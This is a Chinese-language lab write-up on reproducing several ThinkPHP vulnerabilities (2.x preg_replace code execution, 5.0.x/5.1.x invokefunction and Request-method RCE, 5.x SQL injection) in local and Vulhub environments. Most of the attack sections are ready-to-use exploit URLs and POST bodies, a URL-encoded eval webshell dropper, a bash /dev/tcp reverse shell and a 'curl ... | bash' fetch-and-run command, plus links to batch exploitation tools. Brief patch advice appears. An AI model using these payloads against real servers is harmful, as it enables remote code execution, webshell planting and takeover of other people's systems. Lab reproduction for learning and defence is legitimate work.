Thinkphp简介
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。 ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
Thinkphp本地安装
官网链接:http://www.thinkphp.cn/down.html

本地搭建
1 安装vc9_x86(必装)

2安装phpstudy20161103

开启php

将下载好的thinkphp5.0.22解压,可以得到下图中的内容,将所有文件复制到网站的根目录,也就是www/web(这个是我新建的文件夹)

输入域名,这里本地,可以输入127.0.0.1或者localhost或者本地ip都可(这里如果是默认的域名,远程访问的时候要改一下hosts文件),网站目录可以是任意文件夹,默认是phpstudy安装目录下的WWW文件夹,点击新增后再点击保存设置并生成配置文件即可:



thinkphp的主目录是在public目录下,所以要进vhosts-conf文件配置目录



即可远程访问

Thinkphp本地复现
验证poc
http://192.168.8.89/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_arra
y&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

写入一句话
<?php eval($_POST['zcc']);?>

http://192.168.8.89/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

可以看见被成功写入

蚁剑成功连接


Vulhub-Thinkphp复现
Thinkphp 2.x 任意代码执行漏洞
漏洞简介
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));
导致用户的输入参数被插入双引号 中执行,造成任意代码执行漏洞
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
preg_replace这个函数使用方法如下:
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e 这个修饰符,则存在代码执行漏洞。
关于/e的解释:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
可以使用在线php沙箱测试php版本是否支持/e修饰符
沙箱地址:http://sandbox.onlinephpfunctions.com/
preg_replace这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e 修饰符了。
参考链接:https://www.freebuf.com/column/223149.html
影响版本
ThinkPHP 2.x
漏洞复现
启动漏洞
sudo docker-compose up -d


验证漏洞
http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}或者http://192.168.9.234:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

构造poc
http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

caidao成功连接

这里对其进行抓包

1=system("id");

反弹shell
bash -i >& /dev/tcp/192.168.10.65/8888 0>&1python -m SimpleHTTPServer 80


创建好bash
1=system("curl 192.168.10.65/zcc.sh | bash");


成功上线。
安全防护
用户可下载官方发布的补丁:http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
Thinkphp5-5.0.22/5.1.29远程执行代码漏洞
漏洞简介
ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响版本
ThinkPHP 5.0.x < 5.0.23ThinkPHP 5.1.x < 5.1.31
漏洞复现
启动漏洞


验证漏洞
http://192.168.8.63:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代码执行
http://192.168.8.63:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell
<?php eval($_POST[zcc]);?> #需要进行url编码
http://192.168.8.63:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e


蚁剑成功连接。
安全防护
ThinkPHP官方已经发布新版本修复了上述漏洞,强烈建议受影响的用户及时升级进行防护。具体升级方法请参考:https://blog.thinkphp.cn/869075
Thinkphp5.0.23远程代码执行漏洞
漏洞简介
Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本
Thinkphp 5.0.0~ 5.0.23
漏洞复现
开启漏洞


验证漏洞
bp抓包
POST /index.php?s=captcha HTTP/1.1Host: 192.168.8.63:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
反弹shell
curl 192.168.10.65/zcc.sh | bash
成功反弹。
安全防护
升级到最新版本(如果是在5.0.0——5.0.23之间的)
Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞
漏洞简介
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响版本
ThinkPHP < 5.1.23
漏洞复现
启动漏洞


验证漏洞
访问如下url,显示出用户名,表明环境成功运行。
http://192.168.10.65/index.php?ids[]=1&ids[]=2

构造poc,填到password框
http://192.168.10.65/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
安全防护
官方的修复方法是:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号。
Thinkphp自动化武器
Thinkphp综合利用工具


thinkPHPBatchPoc群扫
链接:https://github.com/admintony/thinkPHPBatchPoc

TPscan
链接:https://github.com/Mr-xn/TPscan

AttackWebFrameworkTools
链接:https://github.com/Anonymous-ghost/AttackWebFrameworkTools
这个工具使用前需要先安装4.5以及以上的.NET Framework


安装完成后,需要在这个工具目录下新建两个文件


然后双击cmd.bat,然后在cmd框中运行AttackWebFrameworkTools.exe即可。
|